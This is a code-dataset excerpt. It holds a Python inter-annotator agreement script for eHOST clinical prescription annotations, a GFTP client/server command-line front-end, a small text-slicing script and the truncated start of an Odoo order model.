unit.lower()\r\n unit = unit.replace('microgram','mcg')\r\n unit = unit.replace('grams','gram')\r\n unit = unit.replace('gms','gm')\r\n unit = unit.replace('mgs','mg')\r\n unit = unit.replace('mcg','micrograms')\r\n\r\ndef normalise_dose_value(value):\r\n value = value.strip()\r\n value = value.lower()\r\n #value = value.split('.')[0]\r\n #formatNumber = lambda value: int(value) if not value%1 else value\r\n #value = formatNumber(int(float(value)))\r\n '''try:\r\n return int(value)\r\n except ValueError:\r\n try:\r\n return int(float(value))\r\n except:\r\n raise'''\r\n \r\ndef normalise_frequency(freq):#added JC\r\n freq = freq.strip()\r\n freq = freq.lower()\r\n #freq = freq.split('.')[0]\r\n \r\ndef normalise_interval(inter):#added JC\r\n inter = inter.strip()\r\n inter = inter.lower()\r\n #inter = inter.split('.')[0]\r\n \r\ndef load_mentions_with_attributes(pin, full_key=True):\r\n \"\"\"\r\n Create a mapping of all mentions to all their associated attributes.\r\n This is necessary due to the structure of eHOST XML documents in which\r\n these entities are stored in separate XML tags.\r\n \"\"\"\r\n if full_key:\r\n key = pin\r\n else:\r\n key = os.path.basename(pin)\r\n \r\n if (os.path.isfile(pin) == False):\r\n #print(pin+' not found')\r\n return { key: {} }\r\n \r\n xml = ET.parse(pin)\r\n annotation_nodes = xml.findall('annotation')\r\n attribute_nodes = xml.findall('.//stringSlotMention')\r\n mention_nodes = xml.findall('.//classMention')\r\n\r\n # Collect annotations and related data to insert into mentions\r\n annotations = {}\r\n for annotation_node in annotation_nodes:\r\n annotation_id = annotation_node.find('mention').attrib['id']\r\n annotator = annotation_node.find('annotator').text\r\n start = annotation_node.find('span').attrib['start']\r\n end = annotation_node.find('span').attrib['end']\r\n \r\n comment_node = annotation_node.find('annotationComment')\r\n comment = None\r\n if comment_node is not None:\r\n comment = comment_node.text\r\n \r\n annotations[annotation_id] = (annotator, start, end, comment)\r\n \r\n # Collect attributes and values to insert into mentions\r\n attributes = {}\r\n for attribute_node in attribute_nodes:\r\n attribute_id = attribute_node.attrib['id']\r\n attribute_name = attribute_node[0].attrib['id']\r\n attribute_value = attribute_node[1].attrib['value']\r\n attributes[attribute_id] = (attribute_name, attribute_value)\r\n \r\n # Collect mention classes so we can link them to the appropriate comment\r\n mentions = {}\r\n for mention_node in mention_nodes:\r\n mention_id = mention_node.attrib['id']\r\n mention_class_node = mention_node.findall('.//mentionClass')\r\n if len(mention_class_node) > 0:\r\n mention_class = mention_class_node[0].attrib['id']\r\n mention_text = mention_class_node[0].text\r\n annotator, start, end, comment = annotations.get(mention_id, None)\r\n mentions[mention_id] = { 'class': mention_class,\r\n 'text' : mention_text,\r\n 'annotator': annotator,\r\n 'start': start,\r\n 'end': end,\r\n 'comment': comment\r\n }\r\n\r\n # Retrieve ids of attribute nodes\r\n slot_nodes = mention_node.findall('.//hasSlotMention')\r\n for slot_node in slot_nodes:\r\n temp = mentions.get(mention_id, None)\r\n if temp is not None:\r\n slot_id = slot_node.attrib['id']\r\n attr, val = attributes.get(slot_id)\r\n if('_time' in attr and val!='unknown'):\r\n val = normalise_time(val)\r\n if('drug' in attr):#added JC\r\n val = normalise_drug(val)\r\n if('2_CESSATION' in attr and val == '---'):#added JC\r\n val = normalise_cessation(val)\r\n if('route' in attr and val == 'depot' or val == 'IM' or val == 'oral tablets' or val == 'oral suspension' or val == 'oral (liquid)' or val == 'Oral (liquid)' or val == 'depot injection' or val == 'nasal spray' or val == 'inhaler' or val == 'topical application'):\r\n val = normalise_route(val)#added JC\r\n if('when' in attr and val == 'eveing' or val == 'at night' or val == 'PRN'):#added JC\r\n val = normalise_when(val)\r\n if('dose_unit' in attr and val == 'microgram' or val == 'grams' or val == 'gms' or val == 'mcg' or val == 'mgs'):#added JC\r\n val = normalise_dose_unit(val)\r\n if('dose_value' in attr):#added JC\r\n val = normalise_dose_value(val)\r\n if('frequency' in attr):#added JC\r\n val = normalise_frequency(val)\r\n if('interval' in attr):#added JC\r\n val = normalise_interval(val)\r\n temp[attr] = val\r\n mentions[mention_id] = temp\r\n \r\n return { key: mentions }\r\n\r\n\r\ndef convert_file_annotations(file_annotations):\r\n \"\"\"\r\n Convert the multi-level dictionary format returned\r\n by load_mentions_with_attributes() into a flatter structure.\r\n \"\"\"\r\n all_annotations = []\r\n for file_key in file_annotations:\r\n annotations = file_annotations[file_key]\r\n for annotation_id in annotations:\r\n annotation = annotations[annotation_id]\r\n all_annotations.append(annotation)\r\n return all_annotations\r\n\r\ndef read_corpus(pin):\r\n d_list = [os.path.join(pin, os.path.join(d, 'corpus')) for d in os.listdir(pin) if not '.' in d and 'pat' in d]\r\n all_files = []\r\n for d in d_list:\r\n f_list = [os.path.join(d,f) for f in os.listdir(d) if f.endswith('.txt')]\r\n for f in f_list:\r\n all_files.append(f)\r\n print('corpus files', len(all_files))\r\n return all_files\r\n\r\ndef get_saved_files(pin):\r\n d_list = [os.path.join(pin, os.path.join(d, 'saved')) for d in os.listdir(pin) if not '.' in d and 'pat' in d]\r\n all_files = []\r\n #print(d_list)\r\n for d in d_list:\r\n f_list = [os.path.join(d,f) for f in os.listdir(d) if f.endswith('knowtator.xml')]\r\n for f in f_list:\r\n all_files.append(f)\r\n print('saved files', len(all_files))\r\n return all_files \r\n\r\ndef get_all_annotated_attributes(files1, files2):\r\n \"\"\"\r\n Update the set of attributes to evaluate.\r\n \"\"\"\r\n global ATTRS\r\n global IGNORE_ATTRS\r\n \r\n for f in files1:\r\n d = convert_file_annotations(load_mentions_with_attributes(f))\r\n flat_list = [item for sublist in d for item in sublist if item not in IGNORE_ATTRS]\r\n ATTRS = ATTRS.union(set(flat_list))\r\n \r\n for f in files2:\r\n d = convert_file_annotations(load_mentions_with_attributes(f))\r\n flat_list = [item for sublist in d for item in sublist if item not in IGNORE_ATTRS]\r\n ATTRS = ATTRS.union(set(flat_list))\r\n\r\n\r\ndef match_span(a1, a2, matching):\r\n s1 = int(a1['start'])\r\n s2 = int(a2['start'])\r\n e1 = int(a1['end'])\r\n e2 = int(a2['end'])\r\n t1 = a1['text']\r\n t2 = a2['text']\r\n\r\n# match_str = '{} {} {}\\n {} {} {}'.format(s1, e1, t1, s2, e2, t2)\r\n match_str = '{} {} {}\\n{} {} {}'.format(s1, e1, t1, s2, e2, t2)\r\n \r\n # Exact match (strict matching)\r\n if s1 == s2 and e1 == e2:\r\n# match_str = 'match 1 ' + match_str\r\n return True, match_str\r\n \r\n if matching == 'relaxed':\r\n # s1_[ s2_< > ] (s1 INCLUDES s2)\r\n if s1 <= s2 and e1 >= e2:\r\n #match_str = 'match 2 ' + match_str\r\n return True, match_str\r\n\r\n # s2_< s1_[] > (s2 INCLUDES s1)\r\n if s1 >= s2 and e1 <= e2:\r\n #match_str = 'match 3 ' + match_str\r\n return True, match_str\r\n \r\n # s1_[ s2_<] > (s1 OVERLAP_BEFORE s2)\r\n if s1 <= s2 and e1 >= s2:\r\n #match_str = 'match 4 ' + match_str\r\n return True, match_str\r\n \r\n # s2_< s1_[> ] (s1 OVERLAP_AFTER s2)\r\n if s1 >= s2 and s1 <= e2:\r\n #match_str = 'match 5 ' + match_str\r\n return True, match_str\r\n \r\n #print('no', match_str)\r\n return False, ''\r\n\r\n\r\ndef match_attributes(tag1, tag2):\r\n attr_agr = {}\r\n \r\n attrs_to_check = [a for a in tag1.keys() if a not in ['start', 'end', 'text', 'comment', 'annotator']]\r\n \r\n #for a in attrs_to_check:\r\n # attr_agr[a] = {'tp': 0, 'tn': 0, 'fp': 0, 'fn': 0}\r\n \r\n match_str = ''\r\n \r\n for attr in attrs_to_check:\r\n val1 = tag1.get(attr, None)\r\n val2 = tag2.get(attr, None)\r\n if val1 is not None and val2 is not None:\r\n if val1 == val2:\r\n scores = attr_agr.get(attr, {})\r\n tp = scores.get('tp', 0) + 1\r\n scores['tp'] = tp\r\n attr_agr[attr] = scores\r\n else:\r\n # this is fp and fn - weird\r\n scores = attr_agr.get(attr, {})\r\n fp = scores.get('fp', 0) + 1\r\n scores['fp'] = fp\r\n attr_agr[attr] = scores\r\n fn = scores.get('fn', 0) + 1\r\n scores['fn'] = fn\r\n attr_agr[attr] = scores\r\n match_str += '-- attribute disagreement on ' + attr + ': ' + str(val1) + ' vs. ' + str(val2) + '\\n'\r\n elif val1 is None and val2 is None:#added JC\r\n if val1 == val2:\r\n scores = attr_agr.get(attr, {})\r\n tp = scores.get('tp', 0) + 1\r\n scores['tp'] = tp\r\n attr_agr[attr] = scores\r\n else:\r\n # this is fp and fn - weird\r\n scores = attr_agr.get(attr, {})\r\n fp = scores.get('fp', 0) + 1\r\n scores['fp'] = fp\r\n attr_agr[attr] = scores\r\n fn = scores.get('fn', 0) + 1\r\n scores['fn'] = fn\r\n attr_agr[attr] = scores\r\n match_str += '-- attribute disagreement on ' + attr + ': ' + str(val1) + ' vs. ' + str(val2) + '\\n'\r\n elif val1 is None and val2 is not None:\r\n scores = attr_agr.get(attr, {})\r\n fp = scores.get('fp', 0) + 1\r\n scores['fp'] = fp\r\n attr_agr[attr] = scores\r\n match_str += '-- attribute disagreement on ' + attr + ': ' + str(val1) + ' vs. ' + str(val2) + '\\n'\r\n elif val1 is not None and val2 is None:\r\n scores = attr_agr.get(attr, {})\r\n fn = scores.get('fn', 0) + 1\r\n scores['fn'] = fn\r\n attr_agr[attr] = scores\r\n match_str += '-- attribute disagreement on ' + attr + ': ' + str(val1) + ' vs. ' + str(val2) + '\\n'\r\n else:\r\n scores = attr_agr.get(attr, {})\r\n tn = scores.get('tn', 0) + 1\r\n scores['tn'] = tn\r\n attr_agr[attr] = scores\r\n match_str += '-- attribute disagreement on ' + attr + ': ' + str(val1) + ' vs. ' + str(val2) + '\\n'\r\n\r\n return attr_agr, match_str\r\n\r\n\r\ndef get_tag_attrs(tag):\r\n global ATTRS\r\n values = {}\r\n \r\n for attr in ATTRS:\r\n val = tag.get(attr, None)\r\n values[attr] = val\r\n \r\n return values\r\n\r\n\r\ndef count_agreements(pin1, pin2, report_string, matching):\r\n ann1 = load_mentions_with_attributes(pin1)\r\n ann2 = load_mentions_with_attributes(pin2)\r\n \r\n tags1 = convert_file_annotations(ann1)\r\n tags2 = convert_file_annotations(ann2)\r\n \r\n matched = []\r\n non_matched = []\r\n \r\n tp = fp = fn = 0\r\n \r\n attr_agr = {}\r\n attr_vals1 = []\r\n attr_vals2 = []\r\n \r\n report_string += '\\n--------------------\\n'\r\n report_string += 'MATCH\\t'\r\n \r\n for tag1 in tags1:\r\n for tag2 in tags2:\r\n m, r = match_span(tag1, tag2, matching)\r\n if m:\r\n report_string += ntpath.basename(pin1) + '\\t' + r + '\\n'\r\n # span\r\n matched.append(tag1)\r\n matched.append(tag2)\r\n tp += 1\r\n # attributes\r\n a, r = match_attributes(tag1, tag2)\r\n report_string += r\r\n for attr in a:\r\n curr_agr = attr_agr.get(attr, {})\r\n new_agr = a[attr]\r\n c = dict(Counter(curr_agr) + Counter(new_agr))\r\n attr_agr[attr] = c\r\n # testing\r\n vals1 = get_tag_attrs(tag1)\r\n vals2 = get_tag_attrs(tag2)\r\n attr_vals1.append(vals1)\r\n attr_vals2.append(vals2)\r\n break\r\n\r\n for tag2 in tags2:\r\n if tag2 not in matched:\r\n for tag1 in tags1:\r\n if tag1 not in matched:\r\n m, r = match_span(tag2, tag1, matching)\r\n if m:\r\n report_string += ntpath.basename(pin1) + '\\t' + r + '\\n'\r\n # span\r\n matched.append(tag1)\r\n matched.append(tag2)\r\n tp += 1\r\n # attributes\r\n a, r = match_attributes(tag1, tag2)\r\n report_string += r\r\n for attr in a:\r\n curr_agr = attr_agr.get(attr, {})\r\n new_agr = a[attr]\r\n c = dict(Counter(curr_agr) + Counter(new_agr))\r\n attr_agr[attr] = c\r\n # testing\r\n vals1 = get_tag_attrs(tag1)\r\n vals2 = get_tag_attrs(tag2)\r\n attr_vals1.append(vals1)\r\n attr_vals2.append(vals2)\r\n break\r\n\r\n report_string += '\\n-------------------\\n'\r\n report_string += 'FN\\t'\r\n for tag1 in tags1:\r\n if tag1 not in matched:\r\n report_string += ntpath.basename(pin1) + '\\t' +str(tag1['start']) + ' ' + str(tag1['end']) + ' ' + str(tag1['text']) + '\\n'\r\n # span\r\n non_matched.append(tag1)\r\n fn += 1\r\n\r\n report_string += '\\n--------------------\\n'\r\n report_string += 'FP\\t'\r\n for tag2 in tags2:\r\n if tag2 not in matched:\r\n report_string += ntpath.basename(pin1) + '\\t' +str(tag2['start']) + ' ' + str(tag2['end']) + ' ' + str(tag2['text']) + '\\n'\r\n non_matched.append(tag2)\r\n fp += 1\r\n \r\n report_string += '\\n==========\\n'\r\n\r\n return tp, fp, fn, attr_agr, attr_vals1, attr_vals2, report_string, matched, non_matched\r\n\r\ndef count_agreements_relaxed(pin1, pin2, report_string, matching):\r\n ann1 = load_mentions_with_attributes(pin1)\r\n ann2 = load_mentions_with_attributes(pin2)\r\n \r\n #TO ADD FILTERS TO THE ANNOTATIONS - NOT USED FOR PRESCRIPTIONS\r\n #ann1 = filter_annotations(ann1)\r\n #ann2 = filter_annotations(ann2)\r\n \r\n tags1 = convert_file_annotations(ann1)\r\n tags2 = convert_file_annotations(ann2)\r\n \r\n matched = []\r\n non_matched = []\r\n \r\n tp = fp = fn = 0\r\n \r\n attr_agr = {}\r\n attr_vals1 = []\r\n attr_vals2 = []\r\n \r\n report_string += '\\n--------------------\\n'\r\n report_string += 'MATCH\\t'\r\n \r\n for tag1 in tags1:\r\n for tag2 in tags2:\r\n m, r = match_span(tag1, tag2, matching)\r\n if m:\r\n report_string += ntpath.basename(pin1) + '\\t' + r + '\\n'\r\n # span\r\n matched.append(tag1)\r\n matched.append(tag2)\r\n tp += 1\r\n # attributes\r\n a, r = match_attributes(tag1, tag2)\r\n report_string += r\r\n for attr in a:\r\n curr_agr = attr_agr.get(attr, {})\r\n new_agr = a[attr]\r\n c = dict(Counter(curr_agr) + Counter(new_agr))\r\n attr_agr[attr] = c\r\n # testing\r\n vals1 = get_tag_attrs(tag1)\r\n vals2 = get_tag_attrs(tag2)\r\n attr_vals1.append(vals1)\r\n attr_vals2.append(vals2)\r\n break\r\n\r\n for tag2 in tags2:\r\n if tag2 not in matched:\r\n for tag1 in tags1:\r\n if tag1 not in matched:\r\n m, r = match_span(tag2, tag1, matching)\r\n if m:\r\n report_string += ntpath.basename(pin1) + '\\t' + r + '\\n'\r\n # span\r\n matched.append(tag1)\r\n matched.append(tag2)\r\n tp += 1\r\n # attributes\r\n a, r = match_attributes(tag1, tag2)\r\n report_string += r\r\n for attr in a:\r\n curr_agr = attr_agr.get(attr, {})\r\n new_agr = a[attr]\r\n c = dict(Counter(curr_agr) + Counter(new_agr))\r\n attr_agr[attr] = c\r\n # testing\r\n vals1 = get_tag_attrs(tag1)\r\n vals2 = get_tag_attrs(tag2)\r\n attr_vals1.append(vals1)\r\n attr_vals2.append(vals2)\r\n break\r\n\r\n report_string += '\\n-------------------\\n'\r\n report_string += 'FN\\t'\r\n for tag1 in tags1:\r\n if tag1 not in matched:\r\n report_string += ntpath.basename(pin1) + '\\t' +str(tag1['start']) + ' ' + str(tag1['end']) + ' ' + str(tag1['text']) + '\\n'\r\n # span\r\n non_matched.append(tag1)\r\n fn += 1\r\n\r\n report_string += '\\n--------------------\\n'\r\n report_string += 'FP\\t'\r\n for tag2 in tags2:\r\n if tag2 not in matched:\r\n report_string += ntpath.basename(pin1) + '\\t' +str(tag2['start']) + ' ' + str(tag2['end']) + ' ' + str(tag2['text']) + '\\n'\r\n non_matched.append(tag2)\r\n fp += 1\r\n \r\n report_string += '\\n==========\\n'\r\n\r\n return tp, fp, fn, attr_agr, attr_vals1, attr_vals2, report_string, matched, non_matched\r\n\r\n\r\ndef attr_prf(attr_agr_g, report_string):\r\n \"\"\"\r\n Hand-coded calculations\r\n \"\"\"\r\n # Using my metric - gives the same results as scikit-learn\r\n for attr in attr_agr_g:\r\n report_string += '-- ' + attr + '\\n'\r\n tp = attr_agr_g[attr].get('tp', 0.0)\r\n fp = attr_agr_g[attr].get('fp', 0.0)\r\n #tn = attr_agr_g[attr].get('tn', 0.0)\r\n fn = attr_agr_g[attr].get('fn', 0.0)\r\n p, r, f = prf(tp, fp, fn)\r\n report_string += '\\tprecision: ' + str(p) + '\\n'\r\n report_string += '\\trecall : ' + str(r) + '\\n'\r\n report_string += '\\tf-score : ' + str(f) + '\\n'\r\n\r\n return report_string\r\n\r\n\r\ndef prf(tp, fp, fn):\r\n print('-- Calculating precision, recall and f-score')\r\n print(' tp:', tp)\r\n print(' fp:', fp)\r\n print(' fn:', fn)\r\n\r\n if tp + fp == 0.0 or tp + fn == 0.0:\r\n print('-- Warning: cannot calculate metrics with zero denominator')\r\n return 0.0, 0.0, 0.0\r\n\r\n if(tp>0):\r\n p = tp / (tp + fp)\r\n r = tp / (tp + fn)\r\n f = 2 * p * r / (p + r)\r\n else:\r\n p = 0\r\n r = 0\r\n f = 0\r\n \r\n return p, r, f\r\n\r\n\r\ndef batch_agreement(batch, ann1, ann2, files1, files2, report_dir=None, matching='relaxed', compare_attributes=True, ignore_attributes=[]):\r\n \"\"\"\r\n ann_dir_1 and ann_dir_2 are tuples of the form:\r\n ('Annotator1_Name','Dir_1')\r\n ('Annotator2_Name','Dir_2')\r\n report_dir: specifies the output directory for the report file (overwrite existing report for the specified annotator pair)\r\n matching: specifies whether spans must be strict matches (strict) or partial matches (relaxed)\r\n compare_attributes: calculate agreement for span attributes (True/False)\r\n ignore_attributes: list of attributes to ignore\r\n \"\"\"\r\n global ATTRS\r\n \r\n if matching not in ['strict', 'relaxed']:\r\n raise ValueError('-- Invalid matching type \"' + str(matching) + '\". Use \"strict\" or \"relaxed\".')\r\n \r\n if report_dir is not None and not os.path.isdir(report_dir):\r\n raise ValueError('-- Invalid report directory \"' + str(matching) + '\".')\r\n \r\n # Get all annotated attributes - need to do this here\r\n get_all_annotated_attributes(files1, files2)\r\n \r\n print(files1)\r\n #print('---')\r\n print(files2)\r\n \r\n if report_dir is not None:\r\n pout = os.path.join(report_dir, 'agreement_report_' + ann1 + '_' + ann2 + '_attr_'+str(batch)+'.txt')\r\n fout = open(pout, 'w', encoding='utf-8')\r\n \r\n report_string = '================================\\n'\r\n report_string += 'INTER-ANNOTATOR AGREEMENT REPORT\\n'\r\n report_string += '================================\\n'\r\n\r\n report_string += 'Batch: ' + batch + '\\tAnnotators:' + ann1 + ',' + ann2 + '\\n'\r\n report_string += 'Matching: ' + matching + '\\n'\r\n report_string += '-------------------------\\n'\r\n\r\n tp_g = fp_g = fn_g = 0.0\r\n \r\n attr_agr_g = {}\r\n attr_vals1_g = []\r\n attr_vals2_g = []\r\n \r\n matched_all = []\r\n non_matched_all = []\r\n \r\n filenames1 = [ntpath.basename(f1) for f1 in files1]\r\n filenames2 = [ntpath.basename(f2) for f2 in files2]\r\n \r\n print(set(filenames2)-set(filenames1))\r\n print(set(filenames1)-set(filenames2))\r\n \r\n for f1 in files1:\r\n for f2 in files2:\r\n # Only compare files that are in both sets\r\n f1b = os.path.basename(f1)\r\n f2b = os.path.basename(f2)\r\n if f1b == f2b:\r\n report_string += 'File1: ' + f1 + '\\n'\r\n report_string += 'File2: ' + f2 + '\\n'\r\n #tp, fp, fn, attr_agr, attr_vals1, attr_vals2, report_string, matched, non_matched = count_agreements(f1, f2, report_string, matching)\r\n tp, fp, fn, attr_agr, attr_vals1, attr_vals2, report_string, matched, non_matched = count_agreements_relaxed(f1, f2, report_string, matching)\r\n \r\n tp_g += tp\r\n fp_g += fp\r\n fn_g += fn\r\n for attr in attr_agr:\r\n curr_agr = attr_agr_g.get(attr, {})\r\n new_agr = attr_agr[attr]\r\n c = dict(Counter(curr_agr) + Counter(new_agr))\r\n attr_agr_g[attr] = c\r\n \r\n # Used for scikit-learn calculations\r\n attr_vals1_g.extend(attr_vals1)\r\n attr_vals2_g.extend(attr_vals2)\r\n \r\n matched_all.append([f1, matched])\r\n non_matched_all.append([f1, non_matched])\r\n\r\n assert len(attr_vals1_g) == len(attr_vals2_g)\r\n \r\n report_string += '\\n'\r\n report_string += 'SPANS\\n'\r\n report_string += '-----\\n'\r\n\r\n p, r, f = prf(tp_g, fp_g, fn_g)\r\n \r\n report_string += 'tp: ' + str(tp_g) + '\\n'\r\n report_string += 'fp: ' + str(fp_g) + '\\n'\r\n report_string += 'fn: ' + str(fn_g) + '\\n'\r\n report_string += 'precision: ' + str(p) + '\\n'\r\n report_string += 'recall : ' + str(r) + '\\n'\r\n report_string += 'f-score : ' + str(f) + '\\n'\r\n\r\n # Using scikit-learn (per-class results)\r\n if compare_attributes:\r\n report_string += '\\n'\r\n report_string += 'ATTRIBUTES\\n'\r\n report_string += '----------\\n'\r\n \r\n if len(ATTRS) == 0:\r\n report_string += '-- No attributes to compare\\n'\r\n \r\n for attr in sorted(ATTRS):\r\n report_string += '-- ' + attr + '\\n'\r\n sample1 = [k.get(attr, None) for k in attr_vals1_g]\r\n sample2 = [k.get(attr, None) for k in attr_vals2_g]\r\n \r\n scores = {}\r\n scores['macro'] = precision_recall_fscore_support(sample1, sample2, average='macro')\r\n scores['micro'] = precision_recall_fscore_support(sample1, sample2, average='micro')\r\n\r\n for score in scores:\r\n report_string += 'precision (' + score + '): ' + str(scores[score][0]) + '\\n'\r\n report_string += 'recall (' + score + '): ' + str(scores[score][1]) + '\\n'\r\n report_string += 'f-score (' + score + '): ' + str(scores[score][2]) + '\\n'\r\n\r\n k = cohen_kappa_score(sample1, sample2)\r\n report_string += '\\tkappa : ' + str(k) + '\\n'\r\n\r\n report_string = attr_prf(attr_agr_g, report_string)\r\n\r\n print(report_string)\r\n print('f-score : ' + str(f) + '\\n')\r\n\r\n if report_dir is not None:\r\n print('-- Printed report to file:', pout, file=sys.stderr)\r\n fout.write(report_string)\r\n fout.close()\r\n \r\n return matched_all, non_matched_all\r\n'''\r\n##not used for prescriptions##\r\ndef filter_annotations(all_annotations):\r\n for doc, anns in all_annotations.items():\r\n ann_copy = anns.copy()\r\n for ann_id, ann_values in ann_copy.items():\r\n #to remove annotations where the 'type' attribute is null\r\n if('type' not in ann_values):\r\n del anns[ann_id]\r\n else:\r\n #to remove some types of annotations\r\n if (ann_values['class'] == 'NO_ONSET_MENTIONED' or ann_values['type'] =='antypsychotic_drugs'):\r\n #if (ann_values['class'] == 'NO_ONSET_MENTIONED'):\r\n del anns[ann_id]\r\n return all_annotations\r\n'''\r\n \r\nbatch = 'batch_1'\r\n\r\nannotator1 = 'Chloe'\r\n#dir_1 = \"T:/Natalia Viani/annotation_onset_mention/\"+annotator1+\"/first_ref_extended/\"+batch\r\ndir_1 = \"T:/Natalia Viani/annotation_prescription/\"+annotator1+\"/Schizophrenia/Attachments_done/\"+batch\r\n\r\nannotator2 = 'GATE'\r\n#dir_2 = \"T:/Natalia Viani/annotation_onset_mention/\"+annotator2+\"/first_ref_extended/\"+batch\r\ndir_2 = \"T:/Natalia Viani/annotation_prescription/\"+annotator2+\"/drug_annotation/Schizophrenia/\"+batch\r\n\r\ntxt_files1 = read_corpus(dir_1)\r\ntxt_files2 = read_corpus(dir_2)\r\n\r\nassert (len(txt_files1) == len(txt_files2))\r\n\r\nsaved_files1 = [f for f in get_saved_files(dir_1) if f.endswith('xml')]\r\nsaved_files2 = [f for f in get_saved_files(dir_2) if f.endswith('xml')]\r\nfilenames1 = [ntpath.basename(f).split('.')[0] for f in saved_files1]\r\nfilenames2 = [ntpath.basename(f).split('.')[0] for f in saved_files2]\r\n\r\nfor f1, f2 in zip(txt_files1, txt_files2):\r\n f = ntpath.basename(f1).split('.')[0]\r\n if f not in filenames1:\r\n print('Appending empty:' + f1.replace('corpus','saved')+'.knowtator.xml')\r\n saved_files1.append(f1.replace('corpus','saved')+'.knowtator.xml')\r\n if f not in filenames2:\r\n print('Appending empty:' + f2.replace('corpus','saved')+'.knowtator.xml')\r\n saved_files2.append(f2.replace('corpus','saved')+'.knowtator.xml')\r\n\r\n#compute IAA and write file\r\nmatched_all, non_matched_all = batch_agreement(batch, annotator1, annotator2, saved_files1, saved_files2, report_dir='IAA', matching='relaxed', compare_attributes=False, ignore_attributes=IGNORE_ATTRS)\r\n\r\noverlap_anns = [ann for ann in [match[1] for match in matched_all] if len(ann)>0]\r\nflat_overlap_anns = [item for sublist in overlap_anns for item in sublist]\r\nmerge_anns = [ann for ann in [match[1] for match in non_matched_all] if len(ann)>0]\r\nflat_merge_anns = [item for sublist in merge_anns for item in sublist]","sub_path":"python scripts/ehost_agreement_JC_Attr_v3.py","file_name":"ehost_agreement_JC_Attr_v3.py","file_ext":"py","file_size_in_byte":31038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"631455979","text":"import argparse\nimport GFTP\n\nparser = argparse.ArgumentParser(description='A front-end for establishing and serving connections with GFTP-protocol.')\nsubparser = parser.add_subparsers()\nparser_server = subparser.add_parser('server')\nparser_server.add_argument('hostname', type=str, help='an argument for establishing a socket name or ip-address')\nparser_server.add_argument('port', type=int, help='an argument for establishing a port number (int)')\nparser_server.add_argument('-d', \"--working_directory\", type=str, help='the directory the server serves its operations on; if argument is unsupplied this command defaults to ./server-files/', default= \"server-files\")\nparser_client = subparser.add_parser('client')\nparser_client.add_argument(\"remote_ip\", type=str, help=\"If you are connecting as a client, input a hostname or ip-address to connect to\")\nparser_client.add_argument(\"remote_port\", type=int, help=\"If you are connecting as a client, input a port to connect to. Must be supplied as an integer\")\nclientsub = parser_client.add_subparsers()\nparser.list = clientsub.add_parser(\"list\")\nparser.download = clientsub.add_parser(\"download\")\nparser.download.add_argument(\"target_file\", type=str, help=\"The name of the file you want to download from the server\")\nparser.download.add_argument(\"-d\", \"--destination_folder\", type=str, help=\"the folder you want to save the file to; default is current folder\", default=\".\")\nparser.upload = clientsub.add_parser(\"upload\")\nparser.upload.add_argument(\"filepath\", type=str, help=\"the name of the file you want to send to the server; searches current directory for match if only name of the file is specified, otherwise tries to send the file with exact file destination\")\nparser.upload.add_argument(\"-s\", \"--source_folder\", type=str, help=\"the folder you want to send the file from; default is current folder\", default=\".\")\nargs = parser.parse_args()\na = None\n# GFTP takes parameters in this order: mode, ip, port, fileloc (=keyword argument)\nif args.__contains__(\"remote_ip\") and args.__contains__(\"remote_port\"):\n # client mode\n print(\"starting GFTP in client mode...\")\n a = GFTP.GFTP(\"client\", args.remote_ip, args.remote_port)\n print(a)\n a.connect()\n if args.__contains__(\"target_file\"):\n print(\"Download operation chosen.\")\n a.download(filename=args.target_file, destination_folder=args.destination_folder)\n elif args.__contains__(\"filepath\"):\n print(\"Upload operation chosen.\")\n a.upload(filename=args.filepath, source_folder=args.source_folder)\n\n else:\n print(\"List operation chosen.\")\n a.list()\n\nelif args.__contains__(\"hostname\") and args.__contains__(\"port\"):\n # server mode\n print(\"starting GFTP in server mode...\")\n a = GFTP.GFTP(\"server\", args.hostname, args.port, fileloc=args.working_directory)\n print(a)\n print(\"Going to continuous server mode...\")\n a.connect()\n\nelse:\n parser.error(\"No mode chosen. Run --help or -h to see options\")\n","sub_path":"FINAL_assignment/venv/M2296_assignment05.py","file_name":"M2296_assignment05.py","file_ext":"py","file_size_in_byte":2978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"8578671","text":"#!/usr/bin/env python3\n\nimport sys\n\ninfile1 = sys.argv[1]\ninfile2 = sys.argv[2]\noutdir = sys.argv[3]\n\ntxt1 = f.read(infile1)\ntxt2 = f.read(infile2)\nout = [txt1]\n\nslice_size = 5\n\nout += [\" \".join(met.split(\" \")[5:])]\nout += [\" \".join(met.split(\" \")[0:-5])]","sub_path":"mah.py","file_name":"mah.py","file_ext":"py","file_size_in_byte":255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"365972406","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import models, fields, api, tools, _\nfrom odoo.exceptions import ValidationError\nfrom odoo.modules.module import get_module_resource\nimport base64, random\nfrom datetime import datetime, date\n\nclass Order(models.Model):\n _name = 'sgu.order'\n _description = \"Order\"\n _inherit = ['mail.thread', 'mail.activity.mixin']\n _rec_name = 'name'\n\n\n name = fields.Char('Name')\n token = fields.Char('Token')\n customer = fields.Many2one('res.users', 'Customer', domain=lambda self: self.get_domain())\n address = fields.Char('Customer Address')\n phone = fields.Char('Customer Phone')\n total = fields.Integer('Total', compute=\"_compute_total\")\n line_ids = fields.One2many('sgu.order.line', 'order_id', 'Order line')\n process = fields.Integer('Process', compute='_compute_process')\n\n delivery_ids = fields.One2many('sgu.delivery', 'order_id', 'Delivery')\n count_delivery = fields.Integer('Count Delivery', compute=\"_compute_count_delivery\")\n\n saleperson = fields.Many2one('res.users', 'SalePerson', domain=lambda self: self.get_domain_saleperson())\n payment_method = fields.Selection([('cod', 'Cash of Delivery'), ('transfer', 'Transfer')], \n default='cod', string='Payment Method')\n\n lock = fields.Boolean('Lock', default=False)\n state = fields.Selection([\n ('order', 'Order'), \n ('delivery', 'Delivery'), \n ('done', 'Done'),\n ('cancel', 'Cancel')\n ], 'State', default=\"order\")\n\n def get_domain(self):\n group_customer = self.env.ref('sgu_base.group_customer')\n return [('id', 'in', group_customer.users.ids)]\n\n def get_domain_saleperson(self):\n group_employee = self.env.ref('sgu_base.group_employee')\n return [('id', 'in', group_employee.users.ids)]\n\n def view_delivery(self):\n self.ensure_one()\n return {\n 'name': 'See delivery',\n 'view_type': 'form',\n 'view_mode': 'tree,form',\n 'res_model': 'sgu.delivery',\n 'view_id': False,\n 'domain': [('order_id', '=', self.id)],\n 'type': 'ir.actions.act_window',\n }\n\n @api.multi\n def check_validation(self):\n for rec in self:\n for line in rec.line_ids:\n if line.product_id.exists() and 